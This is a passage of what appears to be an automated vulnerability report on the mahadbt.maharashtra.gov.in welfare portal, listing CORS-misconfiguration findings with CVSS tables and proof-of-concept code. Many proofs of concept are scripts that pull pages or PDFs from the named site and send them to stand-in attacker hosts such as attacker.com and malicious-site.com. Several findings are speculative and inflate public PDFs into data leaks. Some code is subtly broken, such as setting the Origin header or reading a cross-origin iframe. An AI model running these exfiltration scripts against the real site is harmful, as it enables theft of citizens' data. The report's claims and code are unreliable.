data:\n\n```javascript\nconst xhr = new XMLHttpRequest();\nxhr.open('GET', 'https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSNonAadhaarProfileList');\nxhr.withCredentials = true;\nxhr.onreadystatechange = () => {\n  if (xhr.readyState === 4 && xhr.status === 200) {\n    const data = JSON.parse(xhr.responseText);\n    sendDataToAttacker(data); // Exfiltrates PII\n  }\n};\nxhr.send();\n```\n\n**Business Impact**\n\nLeakage of Aadhaar-associated profile data poses severe legal and ethical implications, including violation of UIDAI guidelines and potential lawsuits. It also enables identity theft, impersonation attacks, and misuse of welfare benefits allocated to genuine beneficiaries.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/PDF/24.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/24.pdf |\n\n**Description**\n\nPermissive CORS settings on generic PDF files increase the risk of unauthorized embedding or downloading. Even seemingly innocuous documents may contain sensitive references or metadata that aid attackers in profiling the organization.\n\n**Attack Scenario (Proof of Concept)**\n\nEmbedding the PDF in an attacker-controlled page:\n\n```html\n<object data=\"https://mahadbt.maharashtra.gov.in/PDF/24.pdf\" type=\"application/pdf\"></object>\n```\n\nThough most modern browsers prevent inline rendering, alternative methods exist to force download or display via plugins, potentially exposing hidden content or triggering unintended actions.\n\n**Business Impact**\n\nUncontrolled dissemination of administrative documents may reveal procedural gaps or outdated practices, aiding adversarial planning. Furthermore, repeated exposure of non-sensitive materials normalizes poor security hygiene across the infrastructure.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Aaple_Sarkar_DBT_Portal_User_Manual.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Aaple_Sarkar_DBT_Portal_User_Manual.pdf |\n\n**Description**\n\nUser manuals often contain screenshots, sample URLs, and workflow descriptions that provide valuable insights into backend operations. Allowing unrestricted cross-origin access to such documents enhances reconnaissance capabilities for attackers.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker scrapes multiple PDFs from the domain using automated tools, analyzing them for exposed endpoints, default passwords, or internal IP addresses. They subsequently use this intelligence to refine targeting strategies or simulate legitimate traffic patterns.\n\n**Business Impact**\n\nPublicly available documentation with weak access controls reduces the effort required for initial reconnaissance phases of cyberattacks. It may also expose deprecated features or legacy interfaces that remain functional but poorly secured.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/PDF/1.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/1.pdf |\n\n**Description**\n\nDespite being labeled generically, this PDF may contain structured data relevant to core functionalities. Its unrestricted availability via CORS widens the attack surface unnecessarily.\n\n**Attack Scenario (Proof of Concept)**\n\nAutomated scanning tools index publicly accessible PDFs and extract text/images for keyword analysis. Attackers search for terms like “admin,” “login,” or “password” to locate potential entry points or default configurations.\n\n**Business Impact**\n\nEven basic filenames like “1.pdf” suggest disorganized storage practices, indicating possible lapses in asset management and access control enforcement. Such inconsistencies weaken overall cybersecurity maturity assessments.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/PDF/16.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/16.pdf |\n\n**Description**\n\nAnother instance of improperly configured CORS headers affecting static PDF content. Repeated occurrences indicate systemic issues rather than isolated incidents.\n\n**Attack Scenario (Proof of Concept)**\n\nAttackers leverage browser-based scraping engines to enumerate and analyze all PDFs hosted on the domain, building comprehensive maps of organizational structure and process flows.\n\n**Business Impact**\n\nPersistent misconfigurations signal inadequate governance around digital asset lifecycle management, potentially resulting in audit failures or regulatory sanctions.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/PDF/8.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/8.pdf |\n\n**Description**\n\nYet another PDF file lacking proper CORS restrictions. Cumulatively, these findings point toward inconsistent implementation of security best practices across the web application stack.\n\n**Attack Scenario (Proof of Concept)**\n\nBy chaining together several low-severity vulnerabilities—including CORS misconfigurations, missing SRI, and weak CSP policies—an attacker constructs a multi-stage attack pipeline capable of extracting large volumes of sensitive data or manipulating user sessions undetected.\n\n**Business Impact**\n\nFragmented security implementations reduce resilience against advanced persistent threats (APTs). Organizations relying heavily on public-facing portals must maintain consistent standards across all layers of their infrastructure.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Technical%20education.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Technical%20education.pdf |\n\n**Description**\n\nCitizen charters typically outline service commitments and grievance redressal procedures. Their unrestricted accessibility via CORS may expose internal contact points or escalation pathways to malicious actors.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker parses the charter document to identify official email addresses, phone numbers, or departmental hierarchies. Using this information, they craft highly targeted spear-phishing emails mimicking legitimate correspondence.\n\n**Business Impact**\n\nCompromised citizen communication channels degrade trust in e-governance platforms and complicate incident response efforts. Victims may hesitate to report breaches fearing further deception.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser |\n\n**Description**\n\nThis endpoint handles user registration decisions for National Social Assistance Programme (NSAP). Misconfigured CORS headers here could expose eligibility criteria or personal identification numbers associated with applicants.\n\n**Attack Scenario (Proof of Concept)**\n\nIf the server returns:\n\n```\nAccess-Control-Allow-Origin: https://fakeportal.com\nAccess-Control-Allow-Credentials: true\n```\n\nAn attacker crafts a malicious registration assistant interface that silently queries this endpoint to verify Aadhaar linkage or check application statuses.\n\n**Business Impact**\n\nUnauthorized access to NSAP data violates beneficiary privacy and may facilitate fraudulent claims or denial-of-service attacks targeting vulnerable populations.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus |\n\n**Description**\n\nTracking dashboards aggregate sensitive application states and user-specific data. Improper CORS settings here may allow unauthorized extraction of individual progress timelines or rejection reasons.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker embeds the tracking page in a malicious iframe and uses postMessage or focus-stealing techniques to infer application outcomes indirectly.\n\n**Business Impact**\n\nData leakage from tracking systems compromises transparency goals and enables competitive intelligence gathering. Beneficiaries lose faith in the fairness of selection processes.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/GopinathMundeSchemeGR.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/GopinathMundeSchemeGR.pdf |\n\n**Description**\n\nA CORS misconfiguration exists on the PDF file hosted under `/Farmer/PDF/GopinathMundeSchemeGR.pdf`. Improperly configured Access-Control-Allow-Origin headers allow cross-origin requests from unauthorized domains. This can lead to unauthorized access to sensitive information contained within the document or enable abuse of server-side processing capabilities triggered by cross-domain requests.\n\nMisconfigured CORS policies typically stem from overly permissive wildcard usage (`Access-Control-Allow-Origin: *`) or improper validation of origin headers sent by clients.\n\n**Attack Scenario (Proof of Concept)**\n\nSuppose the server responds with:\n\n```http\nAccess-Control-Allow-Origin: *\n```\n\nA malicious website hosted at `evil.com` can make AJAX requests to retrieve the PDF content:\n\n```javascript\nfetch(\"https://mahadbt.maharashtra.gov.in/Farmer/PDF/GopinathMundeSchemeGR.pdf\")\n  .then(response => response.blob())\n  .then(blob => {\n    // Process or leak the PDF contents\n  });\n```\n\nIf additional methods or credentials are exposed via `Access-Control-Allow-Credentials: true`, attackers gain deeper access to authenticated sessions or internal APIs.\n\n**Business Impact**\n\nExposure of sensitive documents via CORS misconfigurations leads to unauthorized disclosure of confidential data, violating privacy regulations and damaging public trust. In government contexts, this may expose personal identifiable information (PII), scheme details, or administrative procedures, inviting scrutiny and legal consequences.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=%22%20+%20data%5Ba%5D.lotteryCycle%20+%20%22\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=%22%20+%20data%5Ba%5D.lotteryCycle%20+%20%22 |\n\n**Description**\n\nThe CreateLotteryPDF endpoint exhibits a CORS misconfiguration that allows unauthorized cross-origin access. If the server returns `Access-Control-Allow-Origin: *` or improperly validates incoming Origin headers, it enables third-party websites to programmatically access lottery-related data generated by this endpoint.\n\nSuch endpoints often return dynamically created PDFs containing sensitive operational or statistical data about ongoing schemes or processes.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker hosts a malicious webpage that makes a cross-origin request to the endpoint:\n\n```javascript\nfetch(\"https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=2024\", {\n  method: 'GET',\n})\n.then(res => res.blob())\n.then(pdfBlob => {\n  const url = URL.createObjectURL(pdfBlob);\n  window.open(url); // Opens the retrieved PDF\n});\n```\n\nIf the server accepts the request and sends back the PDF along with permissive CORS headers, the attacker gains access to internal lottery cycle data.\n\n**Business Impact**\n\nUnauthorized access to lottery-related data may reveal patterns, timing, or eligibility criteria that undermine transparency or fairness. Leakage of such operational intelligence could facilitate fraud, gaming of selection algorithms, or insider trading advantages. Public institutions face reputational damage and regulatory backlash upon discovery of such lapses.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/scripts/htmltopdf.js\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/scripts/htmltopdf.js |\n\n**Description**\n\nThe JavaScript library responsible for converting HTML to PDF is accessible across origins due to a CORS misconfiguration. If the server sets `Access-Control-Allow-Origin: *`, any website can fetch and utilize this utility script, potentially enabling misuse in phishing kits, scraping tools, or automated attack frameworks.\n\nThis type of exposure is particularly concerning for libraries involved in document generation or manipulation, as they may contain exploitable logic or serve as building blocks for larger attacks.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker incorporates the script into a phishing landing page:\n\n```html\n<script src=\"https://mahadbt.maharashtra.gov.in/Farmer/scripts/htmltopdf.js\"></script>\n<script>\n  htmlToPdf.convert(document.body.innerHTML, function(pdfData) {\n    // Send PDF data to attacker-controlled backend\n    navigator.sendBeacon('https://attacker.com/upload', pdfData);\n  });\n</script>\n```\n\nBy leveraging the publicly accessible conversion tool, the attacker automates creation of fake documents mimicking official formats.\n\n**Business Impact**\n\nPublic availability of utility scripts invites repurposing for nefarious activities, increasing attribution challenges and diluting institutional credibility. Compromised documents bearing authentic styling or branding can deceive end-users, leading to credential theft, misinformation campaigns, or fraudulent claims.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage |\n\n**Description**\n\nThe error page is accessible from external origins due to a CORS misconfiguration. Permissive CORS settings allow third-party domains to retrieve and analyze error responses, potentially exposing stack traces, internal paths, or debugging information useful for crafting targeted exploits.\n\nError pages often inadvertently disclose system internals, especially when debug mode is active or custom error handlers are poorly sanitized.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker issues a cross-origin request to the error page:\n\n```javascript\nfetch(\"https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage\", { mode: 'cors' })\n  .then(res => res.text())\n  .then(html => console.log(html));\n```\n\nIf the server returns detailed error messages or framework-specific diagnostics, the attacker gains insights into underlying technologies, directory structures, or component versions.\n\n**Business Impact**\n\nLeaking diagnostic information facilitates reconnaissance and lowers barriers to exploitation. Attackers can tailor attacks based on identified software stacks, known vulnerabilities, or architectural weaknesses. Government portals risk exposing proprietary logic or deployment strategies, inviting scrutiny and potential targeting.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Grievance/collegelist\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Grievance/collegelist |\n\n**Description**\n\nThe college list endpoint accessible via `/Grievance/collegelist` suffers from a CORS misconfiguration that permits unauthorized cross-origin access. This exposes structured data about educational institutions, possibly including contact details, affiliations, or regional identifiers.\n\nImproper CORS settings can turn otherwise protected datasets into open APIs usable by competitors, researchers, or threat actors.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker constructs a simple script to scrape the entire college dataset:\n\n```javascript\nfetch(\"https://mahadbt.maharashtra.gov.in/Grievance/collegelist\", { mode: 'cors' })\n  .then(res => res.json())\n  .then(data => {\n    data.forEach(college => {\n      console.log(`Name: ${college.name}, Code: ${college.code}`);\n    });\n  });\n```\n\nWith repeated polling, the attacker builds a comprehensive database of colleges eligible for grievance submissions, potentially aiding spamming or targeted phishing operations.\n\n**Business Impact**\n\nUncontrolled access to institutional databases undermines competitive advantage and exposes stakeholders to unsolicited outreach. Educational authorities may find themselves overwhelmed by automated queries or fraudulent enrollment attempts exploiting leaked information.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/home/flow\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/home/flow |\n\n**Description**\n\nThe flow management interface is accessible from external origins due to a CORS misconfiguration. Permissive CORS headers allow third-party domains to access workflow data, potentially revealing process states, decision trees, or eligibility criteria.\n\nSuch disclosures can inform adversarial modeling or assist in crafting tailored attacks against specific stages of the application lifecycle.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker uses JavaScript to retrieve workflow metadata:\n\n```javascript\nfetch(\"https://mahadbt.maharashtra.gov.in/Farmer/home/flow\", { mode: 'cors' })\n  .then(res => res.json())\n  .then(flowData => {\n    console.log(\"Workflow Steps:\", flowData.steps);\n  });\n```\n\nArmed with knowledge of each stage, the attacker tailors phishing emails or automation scripts to mimic legitimate progression paths, enhancing deception success rates.\n\n**Business Impact**\n\nExposure of workflow internals facilitates adversarial reconnaissance and enables precision targeting. Threat actors can simulate genuine user journeys, evade anomaly detection, and prolong dwell times within compromised environments. Operational efficiency and procedural secrecy suffer accordingly.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Higher%20education.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Higher%20education.pdf |\n\n**Description**\n\nThe citizen charter PDF document is accessible from external origins due to a CORS misconfiguration. This allows unauthorized retrieval and analysis of policy documentation outlining service commitments, timelines, and grievance procedures.\n\nWhile PDFs themselves pose minimal direct risk, their unrestricted availability can aid adversarial planning or competitive benchmarking.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker retrieves the charter programmatically:\n\n```javascript\nfetch(\"https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Higher%20education.pdf\", { mode: 'cors' })\n  .then(res => res.blob())\n  .then(blob => {\n    const reader = new FileReader();\n    reader.onloadend = () => {\n      const text = reader.result;\n      // Extract SLAs, deadlines, escalation contacts\n    };\n    reader.readAsText(blob);\n  });\n```\n\nUsing extracted information, the attacker designs phishing templates mimicking official communication styles or identifies service windows for optimal attack timing.\n\n**Business Impact**\n\nOpen access to governance documents erodes strategic opacity and invites adversarial adaptation. Competitors or malicious entities can reverse-engineer service expectations, optimize attack vectors, or exploit procedural gaps for illicit benefit.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/ |\n\n**Description**\n\nThe main Farmer portal homepage is accessible from external origins due to a CORS misconfiguration. This allows third-party domains to access portal content, potentially exposing user interface layouts, navigation structures, or feature availability indicators.\n\nSuch disclosures can inform adversarial modeling or assist in crafting tailored attacks against specific stages of the application lifecycle.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker retrieves the homepage HTML:\n\n```javascript\nfetch(\"https://mahadbt.maharashtra.gov.in/Farmer/\", { mode: 'cors' })\n  .then(res => res.text())\n  .then(html => {\n    const parser = new DOMParser();\n    const doc = parser.parseFromString(html, 'text/html');\n    const links = Array.from(doc.querySelectorAll('a'));\n    links.forEach(link => console.log(link.href));\n  });\n```\n\nThe collected URLs help map out functional areas and identify potential attack surfaces for further probing.\n\n**Business Impact**\n\nUnrestricted access to portal structure aids reconnaissance and enables adaptive attack strategies. Adversaries can prioritize targets, refine phishing lures, or automate enumeration tasks, reducing friction in subsequent phases of intrusion campaigns.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/PMRKVYRainfedAreaDevelopment.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/PMRKVYRainfedAreaDevelopment.pdf |\n\n**Description**\n\nThe PMRKVY Rainfed Area Development PDF document is accessible from external origins due to a CORS misconfiguration. This allows unauthorized retrieval and analysis of program guidelines, funding allocations, or implementation schedules.\n\nWhile PDFs themselves pose minimal direct risk, their unrestricted availability can aid adversarial planning or competitive benchmarking.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker retrieves the document programmatically:\n\n```javascript\nfetch(\"https://mahadbt.maharashtra.gov.in/Farmer/PDF/PMRKVYRainfedAreaDevelopment.pdf\", { mode: 'cors' })\n  .then(res => res.blob())\n  .then(blob => {\n    const reader = new FileReader();\n    reader.onloadend = () => {\n      const text = reader.result;\n      // Extract project timelines, budget figures, eligibility criteria\n    };\n    reader.readAsText(blob);\n  });\n```\n\nUsing extracted information, the attacker designs phishing templates mimicking official communication styles or identifies service windows for optimal attack timing.\n\n**Business Impact**\n\nOpen access to governance documents erodes strategic opacity and invites adversarial adaptation. Competitors or malicious entities can reverse-engineer service expectations, optimize attack vectors, or exploit procedural gaps for illicit benefit.\n\n---\n\n### Cross-Domain Misconfiguration / mahadbt.maharashtra.gov.in / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_PradhanMantriKrishiSinchayeeYojana_PerDropMoreCrop_Eng.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_PradhanMantriKrishiSinchayeeYojana_PerDropMoreCrop_Eng.pdf |\n\n**Description**\nThis vulnerability arises due to improper configuration of Cross-Origin Resource Sharing (CORS) policies on the server hosting the PDF file. CORS allows servers to specify who can access their resources and under what conditions. When misconfigured, it may permit unauthorized domains to make requests for sensitive data using user credentials, leading to potential information disclosure.\n\nIn this instance, the response headers likely include permissive `Access-Control-Allow-Origin` values such as `*`, or they reflect back the origin header from the request without validation. This enables any external site to perform XMLHttpRequests or fetches against this endpoint and read responses if authenticated cookies are included.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker hosts a malicious website at `http://evil.com`. They craft JavaScript code that makes a cross-origin GET request to the vulnerable PDF URL while leveraging the victim's active session:\n\n```html\n<script>\nfetch('https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_PradhanMantriKrishiSinchayeeYojana_PerDropMoreCrop_Eng.pdf')\n  .then(response => response.text())\n  .then(data => {\n    // Exfiltrate document contents\n    navigator.sendBeacon('http://attacker.net/steal', data);\n  });\n</script>\n```\n\nIf the server responds with `Access-Control-Allow-Credentials: true` and reflects the origin (`http://evil.com`) in `Access-Control-Allow-Origin`, the browser permits reading the full response body, enabling exfiltration of potentially sensitive agricultural benefit documentation.\n\n**Business Impact**\nUnauthorized access to internal documents could expose confidential farmer-related data, undermining trust in digital government services. It also increases risk of phishing campaigns targeting beneficiaries based on disclosed personal details, potentially violating privacy regulations like India’s Digital Personal Data Protection Act.\n\n---\n\n### Cross-Domain Misconfiguration / mahadbt.maharashtra.gov.in / https://mahadbt.maharashtra.gov.in/Farmer/PDF/NHM_Components_benefit_for_2019-20.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/NHM_Components_benefit_for_2019-20.pdf |\n\n**Description**\nSimilar to previous findings, this asset suffers from a CORS misconfiguration that allows unintended origins to access its content. Improperly configured CORS headers enable attackers to bypass same-origin policy restrictions, facilitating unauthorized retrieval of sensitive health sector benefit documents.\n\nThe issue typically manifests when the server sets overly permissive CORS headers such as `Access-Control-Allow-Origin: *` or dynamically echoes the requesting origin without proper validation.\n\n**Attack Scenario (Proof of Concept)**\nA malicious actor creates a webpage embedding the following script:\n\n```javascript\nvar xhr = new XMLHttpRequest();\nxhr.open(\"GET\", \"https://mahadbt.maharashtra.gov.in/Farmer/PDF/NHM_Components_benefit_for_2019-20.pdf\");\nxhr.withCredentials = true;\nxhr.onload = function() {\n    var blob = new Blob([xhr.response], {type: 'application/pdf'});\n    var reader = new FileReader();\n    reader.onloadend = function() {\n        fetch(\"http://malicious-site.com/upload\", {\n            method: \"POST\",\n            body: reader.result\n        });\n    };\n    reader.readAsDataURL(blob);\n};\nxhr.send();\n```\n\nIf the server returns appropriate CORS headers, the browser executes the request including authentication cookies, allowing the attacker to retrieve and upload the document to their own server.\n\n**Business Impact**\nExposure of public health program documentation may lead to misuse of beneficiary lists, compromising individual privacy and increasing susceptibility to fraud. Additionally, it undermines confidence in Maharashtra’s e-governance infrastructure.\n\n---\n\n### Cross-Domain Misconfiguration / mahadbt.maharashtra.gov.in / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-DrBabasahebAmbedkarKrushiSwavalambanYojana.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-DrBabasahebAmbedkarKrushiSwavalambanYojana.pdf |\n\n**Description**\nImproper CORS settings on this PDF resource allow cross-origin requests to be processed by browsers, potentially exposing scheme-specific documents related to agricultural self-reliance initiatives. The absence of strict origin validation in CORS headers facilitates unauthorized access to these files.\n\nSuch vulnerabilities often occur when developers use wildcard origins (`*`) or echo incoming origins directly into the `Access-Control-Allow-Origin` header without sanitization.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker constructs an exploit hosted on `http://phishing-site.org`:\n\n```html\n<iframe src=\"https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-DrBabasahebAmbedkarKrushiSwavalambanYojana.pdf\" onload=\"stealPDF(this.contentDocument || this.contentWindow.document);\"></iframe>\n\n<script>\nfunction stealPDF(doc) {\n    const pdfData = doc.documentElement.innerHTML; // Simplified example\n    fetch('http://attacker-server.com/log', {\n        method: 'POST',\n        body: JSON.stringify({data: btoa(pdfData)})\n    });\n}\n</script>\n```\n\nIf the server accepts cross-origin requests with credentials enabled, the attacker gains access to the document content.\n\n**Business Impact**\nLeakage of social welfare scheme documents exposes vulnerable populations to targeted scams and identity theft. It also risks reputational harm to state-sponsored programs aimed at uplifting marginalized communities.\n\n---\n\n### Cross-Domain Misconfiguration / mahadbt.maharashtra.gov.in / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BhausahebPhundkarFalbaagLagvadYojana.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BhausahebPhundkarFalbaagLagvadYojana.pdf |\n\n**Description**\nThis PDF resource is exposed through a misconfigured CORS policy, permitting unauthorized websites to load and process its content within a user's browsing context. Such configurations usually stem from setting `Access-Control-Allow-Origin` to `*` or reflecting arbitrary origins provided in the request.\n\nThis flaw violates the principle of least privilege and weakens the isolation between different web origins.\n\n**Attack Scenario (Proof of Concept)**\nUsing a crafted HTML page served over HTTP:\n\n```html\n<script>\nfetch('https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BhausahebPhundkarFalbaagLagvadYojana.pdf', {\n    credentials: 'include'\n}).then(res => res.blob()).then(blob => {\n    let url = window.URL.createObjectURL(blob);\n    let a = document.createElement('a');\n    a.href = url;\n    a.download = 'scheme_document.pdf';\n    a.click();\n});\n</script>\n```\n\nIf the server supports preflight OPTIONS correctly and returns valid CORS headers, the browser proceeds with the actual request, downloading the file silently in the background.\n\n**Business Impact**\nUncontrolled dissemination of horticultural subsidy documents can facilitate fraudulent claims and impersonation attacks. It also raises concerns about compliance with transparency and accountability standards expected of public institutions.\n\n---\n\n### Cross-Domain Misconfiguration / mahadbt.maharashtra.gov.in / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_NationalFoodSecurityMissionFood_GrainsOilseedsSugarcaneCotton.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_NationalFoodSecurityMissionFood_GrainsOilseedsSugarcaneCotton.pdf |\n\n**Description**\nThe server hosting this PDF does not enforce strict CORS policies, allowing cross-origin access to potentially sensitive food security mission documents. This misconfiguration occurs when the server sends overly permissive CORS headers, such as `Access-Control-Allow-Origin: *`.\n\nThese settings undermine the browser's same-origin policy, making it easier for malicious actors to extract protected content.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker deploys the following JavaScript on a controlled domain:\n\n```javascript\nlet xhr = new XMLHttpRequest();\nxhr.open('GET', 'https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_NationalFoodSecurityMissionFood_GrainsOilseedsSugarcaneCotton.pdf');\nxhr.setRequestHeader('Origin', 'http://evil.com');\nxhr.withCredentials = true;\nxhr.onreadystatechange = function () {\n    if (xhr.readyState === 4 && xhr.status === 200) {\n        fetch('http://attacker.net/upload', {\n            method: 'POST',\n            body: 